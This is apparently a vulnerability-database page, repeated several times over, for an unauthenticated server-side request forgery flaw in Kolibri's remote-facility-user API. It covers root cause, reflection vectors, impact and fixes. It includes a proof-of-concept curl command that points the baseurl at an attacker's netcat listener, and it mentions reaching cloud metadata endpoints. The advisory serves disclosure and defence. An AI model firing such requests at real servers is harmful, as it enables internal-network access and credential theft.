No permission_classes attribute is defined, and DEFAULT_PERMISSION_CLASSES is not set in the DRF configuration, so the endpoint defaults to AllowAny , accepting requests with zero authentication.

Similarly, RemoteFacilityUserAuthenticatedViewset (line ~1577, POST endpoint) also has no permission_classes, though it currently checks permissions via a different mechanism. The initial build_for_address() call still fires before that check.

2. Weak URL validation

File: kolibri/utils/urls.py, line 1-7

from django.core.validators import URLValidator
validator = URLValidator(schemes=["http", "https"])

The only validation is that the URL has an http or https scheme and a valid hostname. There is no block on:

RFC 1918 private IPs (10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16)
Loopback addresses (127.0.0.0/8, ::1)
Link-local addresses (169.254.0.0/16, including AWS/GCP/Azure metadata endpoints)
IPv6 equivalents of any of the above

PoC

Prerequisites: A listener on a host reachable by the Kolibri server (e.g., nc -lvp 1337) the listener can be local or remote.

Against a local Docker deployment (validated against Kolibri 0.19.3):

# Trigger the SSRF no auth headers needed
curl "http://localhost:8080/api/auth/remotefacilityuser?baseurl=http://172.17.0.1:1337&username=test&facility=<facility_id>"

The Kolibri server makes an outbound HTTP request to the attacker's listener:

GET /api/public/info/?v=3 HTTP/1.1
Host: 172.17.0.1:1337
User-Agent: Kolibri/0.19.3 python-requests/2.27.1
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive

Testers have also confirmed the issue against live deployments of Kolibri.

Impact

Unauthenticated SSRF : any attacker who can reach the Kolibri server can make it issue HTTP requests to arbitrary hosts, with no credentials needed Internal network scanning : the built-in port scanning behavior (5+ ports per HTTP target, 24+ connection attempts per request) allows mapping internal networks through the timing oracle Cloud metadata access : if Kolibri runs on a cloud VM (AWS EC2, GCP, Azure), the attacker can reach 169.254.169.254 and potentially exfiltrate IAM credentials and instance metadata Internal service discovery : other Kolibri instances or internal services on the network can be discovered and their API responses read by the attacker Blind SSRF via POST endpoint : RemoteFacilityUserAuthenticatedViewset returns 403 to the attacker but still makes the outbound request before the permission check

Affected versions


          0.0.1.dev20160531112859


          0.1.1rc2


          0.1.1rc3


          0.10.0


          0.10.1


          0.10.2


          0.10.3


          0.10.3b2


          0.10.3b3


          0.11.0


          0.11.0b2


          0.11.1

+ 114 more


            0.12.0


            0.12.0b5


            0.12.0b6


            0.12.0b7


            0.12.0b8


            0.12.0b9


            0.12.1


            0.12.10b3


            0.12.2


            0.12.3


            0.12.3b1


            0.12.4


            0.12.4b2


            0.12.4b3


            0.12.4b5


            0.12.4b6


            0.12.4b7


            0.12.4b8


            0.12.5


            0.12.5b1


            0.12.5b2


            0.12.6


            0.12.6b1


            0.12.6b2


            0.12.6rc1


            0.12.7


            0.12.8


            0.12.8rc1


            0.12.9


            0.12.9rc1


            0.13.0


            0.13.0b2


            0.13.0b3


            0.13.0b4


            0.13.0b5


            0.13.0b6


            0.13.0b7


            0.13.0b8


            0.13.1


            0.13.1b1


            0.13.1b2


            0.13.2


            0.13.2b1


            0.13.3


            0.13.3b1


            0.13.3rc1


            0.14.0


            0.14.0b10


            0.14.0b3


            0.14.0rc1


            0.14.1


            0.14.2


            0.14.3


            0.14.4


            0.14.4rc1


            0.14.5


            0.14.6


            0.14.7


            0.14.8a1


            0.14.8a2


            0.14.8a4


            0.14.8a5


            0.14.8a6


            0.14.8a7


            0.14.8a8


            0.15.0


            0.15.0b5


            0.15.1


            0.15.10


            0.15.11


            0.15.12


            0.15.1b1


            0.15.2


            0.15.3


            0.15.4


            0.15.5


            0.15.6


            0.15.7


            0.15.8


            0.15.9


            0.16.0


            0.16.1


            0.16.2


            0.17.0


            0.17.1


            0.17.2


            0.17.3


            0.17.4


            0.17.5


            0.18.0


            0.18.1


            0.18.2


            0.18.3


            0.18.4


            0.19.0


            0.19.1


            0.19.2


            0.19.3


            0.2.0a0


            0.2.0a2


            0.2.1


            0.4.4


            0.5.3


            0.6.1


            0.7.0


            0.7.1


            0.7.2


            0.7.2b2


            0.8.0


            0.8.0b3


            0.8.0b4


            0.9.0


            0.9.1


            0.9.2

Fixed in


          0.19.4

References

Updated Jul 13, 2026 · Source: OSV.dev

Feb 16, 2022

0.15.1b1 pre

1 CVE

CVE-2026-48053 PYSEC-2026-2554 GHSA-4mj9-pf4r-cqrc Jul 13, 2026

Kolibri has Unauthenticated Server-Side Request Forgery (SSRF) in RemoteFacilityUserViewset

5.8 / 10

Medium

Network Low None None Changed Low None None

Summary

Several Kolibri API endpoints accept an unvalidated baseurl parameter and fetch attacker-controlled URLs from the Kolibri server, reflecting the response body back to the caller. The original report identified two endpoints on the RemoteFacilityUser* viewsets; remediation review found two further reflection points on the same pattern. The GET endpoint was unauthenticated.

Affected endpoints

Reported:

GET /api/auth/remotefacilityuser → RemoteFacilityUserViewset (kolibri/core/auth/api.py:1570). No authentication required.
POST /api/auth/remotefacilityauthenticateduserinfo → RemoteFacilityUserAuthenticatedViewset (kolibri/core/auth/api.py:1594). Authentication is checked against the remote server rather than the local Kolibri.

Found during remediation:

POST /api/public/setupwizard/loddata → setup wizard's remote-signup proxy (kolibri/plugins/setup_wizard/api.py). Reachable on unprovisioned devices.
GET /api/public/networklocation/<id>/facilities/ → NetworkLocationFacilitiesView (kolibri/core/discovery/api.py). Authenticated but with the same Response(remote_payload) pattern.

Root cause

Two compounding issues:

Response reflection — these endpoints returned the remote server's JSON body more or less verbatim to the caller (Response(response.json()), Response(facility_info["users"]), etc.).
No restriction on the remote target — baseurl was validated only by URLValidator(schemes=["http", "https"]). NetworkClient.build_for_address() would connect to any host with a valid Kolibri-shaped /api/public/info/ response, and requests followed 30x redirects by default, so a hostile peer could pivot the fetch to an arbitrary host (cloud metadata, internal services) before reflection.

Two reflection vectors

GET vector (RemoteFacilityUserViewset): The viewset fetched <baseurl>/api/public/facilitysearchuser/ and returned Response(response.json()). An attacker-controlled baseurl returned a 302 to an arbitrary internal URL; requests followed the redirect, and the redirected response body was returned to the attacker.

POST vector (RemoteFacilityUserAuthenticatedViewset): get_remote_users_info() fetched <baseurl>/api/public/facilityuser/ with Basic Auth and the viewset returned Response(facility_info["users"]). A malicious baseurl returned crafted user-shaped JSON; arbitrary smuggled fields were reflected back to the caller. The setup wizard and NetworkLocationFacilitiesView endpoints had the same shape on different remote URLs.

Reproduction

The vulnerability can be reproduced by pointing baseurl at an attacker-controlled HTTP server that:

Responds to GET /api/public/info/ with a valid Kolibri info payload (so NetworkClient.build_for_address() succeeds).
GET vector: responds to GET /api/public/facilitysearchuser/ with a 302 redirect to the target URL. The redirected response body is reflected via Response(response.json()).
POST vector: responds to the relevant remote URL with crafted JSON containing additional fields. The full JSON is reflected.

A working PoC has been retained internally and is not published with this advisory.

Demonstrated impact (pre-fix)

Unauthenticated outbound requests from the Kolibri server to any HTTP(S) URL the attacker chose (GET endpoint only; the others required auth or an unprovisioned device).
Reflected data exfiltration for any HTTP endpoint that responded to a plain GET with JSON and no special request headers.
Cloud metadata reachability was realistic but service-specific:
- AWS IMDSv1 — reachable
- DigitalOcean (/metadata/v1.json) — reachable
- GCP, Azure, AWS IMDSv2 — not reachable via this vector (require Metadata-Flavor / Metadata / token headers that the attacker could not inject)
Reachability of internal HTTP services on the same network as the Kolibri server, with their JSON responses returned to the attacker.

Not demonstrated

The earlier draft asserted port scanning via a timing oracle and generic "internal network mapping." The reflection vector reads response bodies directly when the target speaks JSON; timing-based scanning of arbitrary TCP services was not demonstrated and is not the headline risk.

Mitigation

Four layers of defence:

Response sanitisation. Each affected endpoint now coerces the remote response to a documented shape before returning it. Smuggled fields are dropped.
Authentication. The previously-open RemoteFacilityUser* endpoints now require an authenticated caller (or an unprovisioned device, for setup-wizard flows).
Cross-host redirect blocking. Remote-fetch HTTP sessions refuse 30x responses that point to a different hostname. Same-host redirects still work.
Peer allowlist. Endpoints that accept a caller-supplied baseurl resolve it only to peers Kolibri already knows about, rather than connecting to arbitrary hosts. Discovery and CLI flows that legitimately need to probe new addresses use a separate code path.

Credit

Initial report and identification of the RemoteFacilityUser* viewsets by @beraoudabdelkhalek. Reflection-based PoC, additional vector identification, and remediation by the Kolibri maintainers.

Summary

The RemoteFacilityUserViewset API endpoint (/api/auth/remotefacilityuser) has no authentication or permission checks and accepts a user-controlled baseurl parameter. This parameter is passed directly to NetworkClient.build_for_address() which makes server-side HTTP requests to the attacker-specified URL. An unauthenticated attacker can force the Kolibri server to reach out to arbitrary internal hosts, port-scan internal networks, and access cloud metadata endpoints.

Details

This is mainly due to the following issues:

1. Missing authentication on the API endpoint

File: kolibri/core/auth/api.py, line ~1553

class RemoteFacilityUserViewset(views.APIView):  # No permission_classes → AllowAny
    def get(self, request):
        baseurl = request.query_params.get("baseurl", "")
        validator(baseurl)  # Only checks URL format (http/https scheme + valid hostname)
        client = NetworkClient.build_for_address(baseurl)
        response = client.get(url, params={"facility": facility, "search": username})

No permission_classes attribute is defined, and DEFAULT_PERMISSION_CLASSES is not set in the DRF configuration, so the endpoint defaults to AllowAny , accepting requests with zero authentication.

Similarly, RemoteFacilityUserAuthenticatedViewset (line ~1577, POST endpoint) also has no permission_classes, though it currently checks permissions via a different mechanism. The initial build_for_address() call still fires before that check.

2. Weak URL validation

File: kolibri/utils/urls.py, line 1-7

from django.core.validators import URLValidator
validator = URLValidator(schemes=["http", "https"])

The only validation is that the URL has an http or https scheme and a valid hostname. There is no block on:

RFC 1918 private IPs (10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16)
Loopback addresses (127.0.0.0/8, ::1)
Link-local addresses (169.254.0.0/16, including AWS/GCP/Azure metadata endpoints)
IPv6 equivalents of any of the above

PoC

Prerequisites: A listener on a host reachable by the Kolibri server (e.g., nc -lvp 1337) the listener can be local or remote.

Against a local Docker deployment (validated against Kolibri 0.19.3):

# Trigger the SSRF no auth headers needed
curl "http://localhost:8080/api/auth/remotefacilityuser?baseurl=http://172.17.0.1:1337&username=test&facility=<facility_id>"

The Kolibri server makes an outbound HTTP request to the attacker's listener:

GET /api/public/info/?v=3 HTTP/1.1
Host: 172.17.0.1:1337
User-Agent: Kolibri/0.19.3 python-requests/2.27.1
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive

Testers have also confirmed the issue against live deployments of Kolibri.

Impact

Unauthenticated SSRF : any attacker who can reach the Kolibri server can make it issue HTTP requests to arbitrary hosts, with no credentials needed Internal network scanning : the built-in port scanning behavior (5+ ports per HTTP target, 24+ connection attempts per request) allows mapping internal networks through the timing oracle Cloud metadata access : if Kolibri runs on a cloud VM (AWS EC2, GCP, Azure), the attacker can reach 169.254.169.254 and potentially exfiltrate IAM credentials and instance metadata Internal service discovery : other Kolibri instances or internal services on the network can be discovered and their API responses read by the attacker Blind SSRF via POST endpoint : RemoteFacilityUserAuthenticatedViewset returns 403 to the attacker but still makes the outbound request before the permission check

Affected versions


          0.0.1.dev20160531112859


          0.1.1rc2


          0.1.1rc3


          0.10.0


          0.10.1


          0.10.2


          0.10.3


          0.10.3b2


          0.10.3b3


          0.11.0


          0.11.0b2


          0.11.1

+ 114 more


            0.12.0


            0.12.0b5


            0.12.0b6


            0.12.0b7


            0.12.0b8


            0.12.0b9


            0.12.1


            0.12.10b3


            0.12.2


            0.12.3


            0.12.3b1


            0.12.4


            0.12.4b2


            0.12.4b3


            0.12.4b5


            0.12.4b6


            0.12.4b7


            0.12.4b8


            0.12.5


            0.12.5b1


            0.12.5b2


            0.12.6


            0.12.6b1


            0.12.6b2


            0.12.6rc1


            0.12.7


            0.12.8


            0.12.8rc1


            0.12.9


            0.12.9rc1


            0.13.0


            0.13.0b2


            0.13.0b3


            0.13.0b4


            0.13.0b5


            0.13.0b6


            0.13.0b7


            0.13.0b8


            0.13.1


            0.13.1b1


            0.13.1b2


            0.13.2


            0.13.2b1


            0.13.3


            0.13.3b1


            0.13.3rc1


            0.14.0


            0.14.0b10


            0.14.0b3


            0.14.0rc1


            0.14.1


            0.14.2


            0.14.3


            0.14.4


            0.14.4rc1


            0.14.5


            0.14.6


            0.14.7


            0.14.8a1


            0.14.8a2


            0.14.8a4


            0.14.8a5


            0.14.8a6


            0.14.8a7


            0.14.8a8


            0.15.0


            0.15.0b5


            0.15.1


            0.15.10


            0.15.11


            0.15.12


            0.15.1b1


            0.15.2


            0.15.3


            0.15.4


            0.15.5


            0.15.6


            0.15.7


            0.15.8


            0.15.9


            0.16.0


            0.16.1


            0.16.2


            0.17.0


            0.17.1


            0.17.2


            0.17.3


            0.17.4


            0.17.5


            0.18.0


            0.18.1


            0.18.2


            0.18.3


            0.18.4


            0.19.0


            0.19.1


            0.19.2


            0.19.3


            0.2.0a0


            0.2.0a2


            0.2.1


            0.4.4


            0.5.3


            0.6.1


            0.7.0


            0.7.1


            0.7.2


            0.7.2b2


            0.8.0


            0.8.0b3


            0.8.0b4


            0.9.0


            0.9.1


            0.9.2

Fixed in


          0.19.4

References

Updated Jul 13, 2026 · Source: OSV.dev

Feb 16, 2022

0.14.8a4 pre

1 CVE

CVE-2026-48053 PYSEC-2026-2554 GHSA-4mj9-pf4r-cqrc Jul 13, 2026

Kolibri has Unauthenticated Server-Side Request Forgery (SSRF) in RemoteFacilityUserViewset

5.8 / 10

Medium

Network Low None None Changed Low None None

Summary

Several Kolibri API endpoints accept an unvalidated baseurl parameter and fetch attacker-controlled URLs from the Kolibri server, reflecting the response body back to the caller. The original report identified two endpoints on the RemoteFacilityUser* viewsets; remediation review found two further reflection points on the same pattern. The GET endpoint was unauthenticated.

Affected endpoints

Reported:

GET /api/auth/remotefacilityuser → RemoteFacilityUserViewset (kolibri/core/auth/api.py:1570). No authentication required.
POST /api/auth/remotefacilityauthenticateduserinfo → RemoteFacilityUserAuthenticatedViewset (kolibri/core/auth/api.py:1594). Authentication is checked against the remote server rather than the local Kolibri.

Found during remediation:

POST /api/public/setupwizard/loddata → setup wizard's remote-signup proxy (kolibri/plugins/setup_wizard/api.py). Reachable on unprovisioned devices.
GET /api/public/networklocation/<id>/facilities/ → NetworkLocationFacilitiesView (kolibri/core/discovery/api.py). Authenticated but with the same Response(remote_payload) pattern.

Root cause

Two compounding issues:

Response reflection — these endpoints returned the remote server's JSON body more or less verbatim to the caller (Response(response.json()), Response(facility_info["users"]), etc.).
No restriction on the remote target — baseurl was validated only by URLValidator(schemes=["http", "https"]). NetworkClient.build_for_address() would connect to any host with a valid Kolibri-shaped /api/public/info/ response, and requests followed 30x redirects by default, so a hostile peer could pivot the fetch to an arbitrary host (cloud metadata, internal services) before reflection.

Two reflection vectors

GET vector (RemoteFacilityUserViewset): The viewset fetched <baseurl>/api/public/facilitysearchuser/ and returned Response(response.json()). An attacker-controlled baseurl returned a 302 to an arbitrary internal URL; requests followed the redirect, and the redirected response body was returned to the attacker.

POST vector (RemoteFacilityUserAuthenticatedViewset): get_remote_users_info() fetched <baseurl>/api/public/facilityuser/ with Basic Auth and the viewset returned Response(facility_info["users"]). A malicious baseurl returned crafted user-shaped JSON; arbitrary smuggled fields were reflected back to the caller. The setup wizard and NetworkLocationFacilitiesView endpoints had the same shape on different remote URLs.

Reproduction

The vulnerability can be reproduced by pointing baseurl at an attacker-controlled HTTP server that:

Responds to GET /api/public/info/ with a valid Kolibri info payload (so NetworkClient.build_for_address() succeeds).
GET vector: responds to GET /api/public/facilitysearchuser/ with a 302 redirect to the target URL. The redirected response body is reflected via Response(response.json()).
POST vector: responds to the relevant remote URL with crafted JSON containing additional fields. The full JSON is reflected.

A working PoC has been retained internally and is not published with this advisory.

Demonstrated impact (pre-fix)

Unauthenticated outbound requests from the Kolibri server to any HTTP(S) URL the attacker chose (GET endpoint only; the others required auth or an unprovisioned device).
Reflected data exfiltration for any HTTP endpoint that responded to a plain GET with JSON and no special request headers.
Cloud metadata reachability was realistic but service-specific:
- AWS IMDSv1 — reachable
- DigitalOcean (/metadata/v1.json) — reachable
- GCP, Azure, AWS IMDSv2 — not reachable via this vector (require Metadata-Flavor / Metadata / token headers that the attacker could not inject)
Reachability of internal HTTP services on the same network as the Kolibri server, with their JSON responses returned to the attacker.

Not demonstrated

The earlier draft asserted port scanning via a timing oracle and generic "internal network mapping." The reflection vector reads response bodies directly when the target speaks JSON; timing-based scanning of arbitrary TCP services was not demonstrated and is not the headline risk.

Mitigation

Four layers of defence:

Response sanitisation. Each affected endpoint now coerces the remote response to a documented shape before returning it. Smuggled fields are dropped.
Authentication. The previously-open RemoteFacilityUser* endpoints now require an authenticated caller (or an unprovisioned device, for setup-wizard flows).
Cross-host redirect blocking. Remote-fetch HTTP sessions refuse 30x responses that point to a different hostname. Same-host redirects still work.
Peer allowlist. Endpoints that accept a caller-supplied baseurl resolve it only to peers Kolibri already knows about, rather than connecting to arbitrary hosts. Discovery and CLI flows that legitimately need to probe new addresses use a separate code path.

Credit

Initial report and identification of the RemoteFacilityUser* viewsets by @beraoudabdelkhalek. Reflection-based PoC, additional vector identification, and remediation by the Kolibri maintainers.

Summary

The RemoteFacilityUserViewset API endpoint (/api/auth/remotefacilityuser) has no authentication or permission checks and accepts a user-controlled baseurl parameter. This parameter is passed directly to NetworkClient.build_for_address() which makes server-side HTTP requests to the attacker-specified URL. An unauthenticated attacker can force the Kolibri server to reach out to arbitrary internal hosts, port-scan internal networks, and access cloud metadata endpoints.

Details

This is mainly due to the following issues:

1. Missing authentication on the API endpoint

File: kolibri/core/auth/api.py, line ~1553

class RemoteFacilityUserViewset(views.APIView):  # No permission_classes → AllowAny
    def get(self, request):
        baseurl = request.query_params.get("baseurl", "")
        validator(baseurl)  # Only checks URL format (http/https scheme + valid hostname)
        client = NetworkClient.build_for_address(baseurl)
        response = client.get(url, params={"facility": facility, "search": username})

No permission_classes attribute is defined, and DEFAULT_PERMISSION_CLASSES is not set in the DRF configuration, so the endpoint defaults to AllowAny , accepting requests with zero authentication.

Similarly, RemoteFacilityUserAuthenticatedViewset (line ~1577, POST endpoint) also has no permission_classes, though it currently checks permissions via a different mechanism. The initial build_for_address() call still fires before that check.

2. Weak URL validation

File: kolibri/utils/urls.py, line 1-7

from django.core.validators import URLValidator
validator = URLValidator(schemes=["http", "https"])

The only validation is that the URL has an http or https scheme and a valid hostname. There is no block on:

RFC 1918 private IPs (10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16)
Loopback addresses (127.0.0.0/8, ::1)
Link-local addresses (169.254.0.0/16, including AWS/GCP/Azure metadata endpoints)
IPv6 equivalents of any of the above

PoC

Prerequisites: A listener on a host reachable by the Kolibri server (e.g., nc -lvp 1337) the listener can be local or remote.

Against a local Docker deployment (validated against Kolibri 0.19.3):

# Trigger the SSRF no auth headers needed
curl "http://localhost:8080/api/auth/remotefacilityuser?baseurl=http://172.17.0.1:1337&username=test&facility=<facility_id>"

The Kolibri server makes an outbound HTTP request to the attacker's listener:

GET /api/public/info/?v=3 HTTP/1.1
Host: 172.17.0.1:1337
User-Agent: Kolibri/0.19.3 python-requests/2.27.1
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive

Testers have also confirmed the issue against live deployments of Kolibri.

Impact

Unauthenticated SSRF : any attacker who can reach the Kolibri server can make it issue HTTP requests to arbitrary hosts, with no credentials needed Internal network scanning : the built-in port scanning behavior (5+ ports per HTTP target, 24+ connection attempts per request) allows mapping internal networks through the timing oracle Cloud metadata access : if Kolibri runs on a cloud VM (AWS EC2, GCP, Azure), the attacker can reach 169.254.169.254 and potentially exfiltrate IAM credentials and instance metadata Internal service discovery : other Kolibri instances or internal services on the network can be discovered and their API responses read by the attacker Blind SSRF via POST endpoint : RemoteFacilityUserAuthenticatedViewset returns 403 to the attacker but still makes the outbound request before the permission check

Affected versions


          0.0.1.dev20160531112859


          0.1.1rc2


          0.1.1rc3


          0.10.0


          0.10.1


          0.10.2


          0.10.3


          0.10.3b2


          0.10.3b3


          0.11.0


          0.11.0b2


          0.11.1

+ 114 more


            0.12.0


            0.12.0b5


            0.12.0b6


            0.12.0b7


            0.12.0b8


            0.12.0b9


            0.12.1


            0.12.10b3


            0.12.2


            0.12.3


            0.12.3b1


            0.12.4


            0.12.4b2


            0.12.4b3


            0.12.4b5


            0.12.4b6


            0.12.4b7


            0.12.4b8


            0.12.5


            0.12.5b1


            0.12.5b2


            0.12.6


            0.12.6b1


            0.12.6b2


            0.12.6rc1


            0.12.7


            0.12.8


            0.12.8rc1


            0.12.9


            0.12.9rc1


            0.13.0


            0.13.0b2


            0.13.0b3


            0.13.0b4


            0.13.0b5


            0.13.0b6


            0.13.0b7


            0.13.0b8


            0.13.1


            0.13.1b1


            0.13.1b2


            0.13.2


            0.13.2b1


            0.13.3


            0.13.3b1


            0.13.3rc1


            0.14.0


            0.14.0b10


            0.14.0b3


            0.14.0rc1


            0.14.1


            0.14.2


            0.14.3


            0.14.4


            0.14.4rc1


            0.14.5


            0.14.6


            0.14.7


            0.14.8a1


            0.14.8a2


            0.14.8a4


            0.14.8a5


            0.14.8a6


            0.14.8a7


            0.14.8a8


            0.15.0


            0.15.0b5


            0.15.1


            0.15.10


            0.15.11


            0.15.12


            0.15.1b1


            0.15.2


            0.15.3


            0.15.4


            0.15.5


            0.15.6


            0.15.7


            0.15.8


            0.15.9


            0.16.0


            0.16.1


            0.16.2


            0.17.0


            0.17.1


            0.17.2


            0.17.3


            0.17.4


            0.17.5


            0.18.0


            0.18.1


            0.18.2


            0.18.3


            0.18.4


            0.19.0


            0.19.1


            0.19.2


            0.19.3


            0.2.0a0


            0.2.0a2


            0.2.1


            0.4.4


            0.5.3


            0.6.1


            0.7.0


            0.7.1


            0.7.2


            0.7.2b2


            0.8.0


            0.8.0b3


            0.8.0b4


            0.9.0


            0.9.1


            0.9.2

Fixed in


          0.19.4

References

Updated Jul 13, 2026 · Source: OSV.dev

Feb 10, 2022

0.14.8a2 pre

1 CVE

CVE-2026-48053 PYSEC-2026-2554 GHSA-4mj9-pf4r-cqrc Jul 13, 2026

Kolibri has Unauthenticated Server-Side Request Forgery (SSRF) in RemoteFacilityUserViewset

5.8 / 10

Medium

Network Low None None Changed Low None None

Summary

Several Kolibri API endpoints accept an unvalidated baseurl parameter and fetch attacker-controlled URLs from the Kolibri server, reflecting the response body back to the caller. The original report identified two endpoints on the RemoteFacilityUser* viewsets; remediation review found two further reflection points on the same pattern. The GET endpoint was unauthenticated.

Affected endpoints

Reported:

GET /api/auth/remotefacilityuser → RemoteFacilityUserViewset (kolibri/core/auth/api.py:1570). No authentication required.
POST /api/auth/remotefacilityauthenticateduserinfo → RemoteFacilityUserAuthenticatedViewset (kolibri/core/auth/api.py:1594). Authentication is checked against the remote server rather than the local Kolibri.

Found during remediation:

POST /api/public/setupwizard/loddata → setup wizard's remote-signup proxy (kolibri/plugins/setup_wizard/api.py). Reachable on unprovisioned devices.
GET /api/public/networklocation/<id>/facilities/ → NetworkLocationFacilitiesView (kolibri/core/discovery/api.py). Authenticated but with the same Response(remote_payload) pattern.

Root cause

Two compounding issues:

Response reflection — these endpoints returned the remote server's JSON body more or less verbatim to the caller (Response(response.json()), Response(facility_info["users"]), etc.).
No restriction on the remote target — baseurl was validated only by URLValidator(schemes=["http", "https"]). NetworkClient.build_for_address() would connect to any host with a valid Kolibri-shaped /api/public/info/ response, and requests followed 30x redirects by default, so a hostile peer could pivot the fetch to an arbitrary host (cloud metadata, internal services) before reflection.

Two reflection vectors

GET vector (RemoteFacilityUserViewset): The viewset fetched <baseurl>/api/public/facilitysearchuser/ and returned Response(response.json()). An attacker-controlled baseurl returned a 302 to an arbitrary internal URL; requests followed the redirect, and the redirected response body was returned to the attacker.

POST vector (RemoteFacilityUserAuthenticatedViewset): get_remote_users_info() fetched <baseurl>/api/public/facilityuser/ with Basic Auth and the viewset returned Response(facility_info["users"]). A malicious baseurl returned crafted user-shaped JSON; arbitrary smuggled fields were reflected back to the caller. The setup wizard and NetworkLocationFacilitiesView endpoints had the same shape on different remote URLs.

Reproduction

The vulnerability can be reproduced by pointing baseurl at an attacker-controlled HTTP server that:

Responds to GET /api/public/info/ with a valid Kolibri info payload (so NetworkClient.build_for_address() succeeds).
GET vector: responds to GET /api/public/facilitysearchuser/ with a 302 redirect to the target URL. The redirected response body is reflected via Response(response.json()).
POST vector: responds to the relevant remote URL with crafted JSON containing additional fields. The full JSON is reflected.

A working PoC has been retained internally and is not published with this advisory.

Demonstrated impact (pre-fix)

Unauthenticated outbound requests from the Kolibri server to any HTTP(S) URL the attacker chose (GET endpoint only; the others required auth or an unprovisioned device).
Reflected data exfiltration for any HTTP endpoint that responded to a plain GET with JSON and no special request headers.
Cloud metadata reachability was realistic but service-specific:
- AWS IMDSv1 — reachable
- DigitalOcean (/metadata/v1.json) — reachable
- GCP, Azure, AWS IMDSv2 — not reachable via this vector (require Metadata-Flavor / Metadata / token headers that the attacker could not inject)
Reachability of internal HTTP services on the same network as the Kolibri server, with their JSON responses returned to the attacker.

Not demonstrated

The earlier draft asserted port scanning via a timing oracle and generic "internal network mapping." The reflection vector reads response bodies directly when the target speaks JSON; timing-based scanning of arbitrary TCP services was not demonstrated and is not the headline risk.

Mitigation

Four layers of defence:

Response sanitisation. Each affected endpoint now coerces the remote response to a documented shape before returning it. Smuggled fields are dropped.
Authentication. The previously-open RemoteFacilityUser* endpoints now require an authenticated caller (or an unprovisioned device, for setup-wizard flows).
Cross-host redirect blocking. Remote-fetch HTTP sessions refuse 30x responses that point to a different hostname. Same-host redirects still work.
Peer allowlist. Endpoints that accept a caller-supplied baseurl resolve it only to peers Kolibri already knows about, rather than connecting to arbitrary hosts. Discovery and CLI flows that legitimately need to probe new addresses use a separate code path.

Credit

Initial report and identification of the RemoteFacilityUser* viewsets by @beraoudabdelkhalek. Reflection-based PoC, additional vector identification, and remediation by the Kolibri maintainers.

Summary

The RemoteFacilityUserViewset API endpoint (/api/auth/remotefacilityuser) has no authentication or permission checks and accepts a user-controlled baseurl parameter. This parameter is passed directly to NetworkClient.build_for_address() which makes server-side HTTP requests to the attacker-specified URL. An unauthenticated attacker can force the Kolibri server to reach out to arbitrary internal hosts, port-scan internal networks, and access cloud metadata endpoints.

Details

This is mainly due to the following issues:

1. Missing authentication on the API endpoint

File: kolibri/core/auth/api.py, line ~1553

class RemoteFacilityUserViewset(views.APIView):  # No permission_classes → AllowAny
    def get(self, request):
        baseurl = request.query_params.get("baseurl", "")
        validator(baseurl)  # Only checks URL format (http/https scheme + valid hostname)
        client = NetworkClient.build_for_address(baseurl)
        response = client.get(url, params={"facility": facility, "search": username})

No permission_classes attribute is defined, and DEFAULT_PERMISSION_CLASSES is not set in the DRF configuration, so the endpoint defaults to AllowAny , accepting requests with zero authentication.

Similarly, RemoteFacilityUserAuthenticatedViewset (line ~1577, POST endpoint) also has no permission_classes, though it currently checks permissions via a different mechanism. The initial build_for_address() call still fires before that check.

2. Weak URL validation

File: kolibri/utils/urls.py, line 1-7

from django.core.validators import URLValidator
validator = URLValidator(schemes=["http", "https"])

The only validation is that the URL has an http or https scheme and a valid hostname. There is no block on:

RFC 1918 private IPs (10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16)
Loopback addresses (127.0.0.0/8, ::1)
Link-local addresses (169.254.0.0/16, including AWS/GCP/Azure metadata endpoints)
IPv6 equivalents of any of the above

PoC

Prerequisites: A listener on a host reachable by the Kolibri server (e.g., nc -lvp 1337) the listener can be local or remote.

Against a local Docker deployment (validated against Kolibri 0.19.3):

# Trigger the SSRF no auth headers needed
curl "http://localhost:8080/api/auth/remotefacilityuser?baseurl=http://172.17.0.1:1337&username=test&facility=<facility_id>"

The Kolibri server makes an outbound HTTP request to the attacker's listener:

GET /api/public/info/?v=3 HTTP/1.1
Host: 172.17.0.1:1337
User-Agent: Kolibri/0.19.3 python-requests/2.27.1
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive

Testers have also confirmed the issue against live deployments of Kolibri.

Impact

Unauthenticated SSRF : any attacker who can reach the Kolibri server can make it issue HTTP requests to arbitrary hosts, with no credentials needed Internal network scanning : the built-in port scanning behavior (5+ ports per HTTP target, 24+ connection attempts per request) allows mapping internal networks through the timing oracle Cloud metadata access : if Kolibri runs on a cloud VM (AWS EC2, GCP, Azure), the attacker can reach 169.254.169.254 and potentially exfiltrate IAM credentials and instance metadata Internal service discovery : other Kolibri instances or internal services on the network can be discovered and their API responses read by the attacker Blind SSRF via POST endpoint : RemoteFacilityUserAuthenticatedViewset returns 403 to the attacker but still makes the outbound request before the permission check

Affected versions


          0.0.1.dev20160531112859


          0.1.1rc2


          0.1.1rc3


          0.10.0


          0.10.1


          0.10.2


          0.10.3


          0.10.3b2


          0.10.3b3


          0.11.0


          0.11.0b2


          0.11.1

+ 114 more


            0.12.0


            0.12.0b5


            0.12.0b6


            0.12.0b7


            0.12.0b8


            0.12.0b9


            0.12.1


            0.12.10b3


            0.12.2


            0.12.3


            0.12.3b1


            0.12.4


            0.12.4b2


            0.12.4b3


            0.12.4b5


            0.12.4b6


            0.12.4b7


            0.12.4b8


            0.12.5


            0.12.5b1


            0.12.5b2


            0.12.6


            0.12.6b1


            0.12.6b2


            0.12.6rc1


            0.12.7


            0.12.8


            0.12.8rc1


            0.12.9


            0.12.9rc1


            0.13.0


            0.13.0b2


            0.13.0b3


            0.13.0b4


            0.13.0b5


            0.13.0b6


            0.13.0b7


            0.13.0b8


            0.13.1


            0.13.1b1


            0.13.1b2


            0.13.2


            0.13.2b1


            0.13.3


            0.13.3b1


            0.13.3rc1


            0.14.0


            0.14.0b10


            0.14.0b3


            0.14.0rc1


            0.14.1


            0.14.2


            0.14.3


            0.14.4


            0.14.4rc1


            0.14.5


            0.14.6


            0.14.7


            0.14.8a1


            0.14.8a2


            0.14.8a4


            0.14.8a5


            0.14.8a6


            0.14.8a7


            0.14.8a8


            0.15.0


            0.15.0b5


            0.15.1


            0.15.10


            0.15.11


            0.15.12


            0.15.1b1


            0.15.2


            0.15.3


            0.15.4


            0.15.5


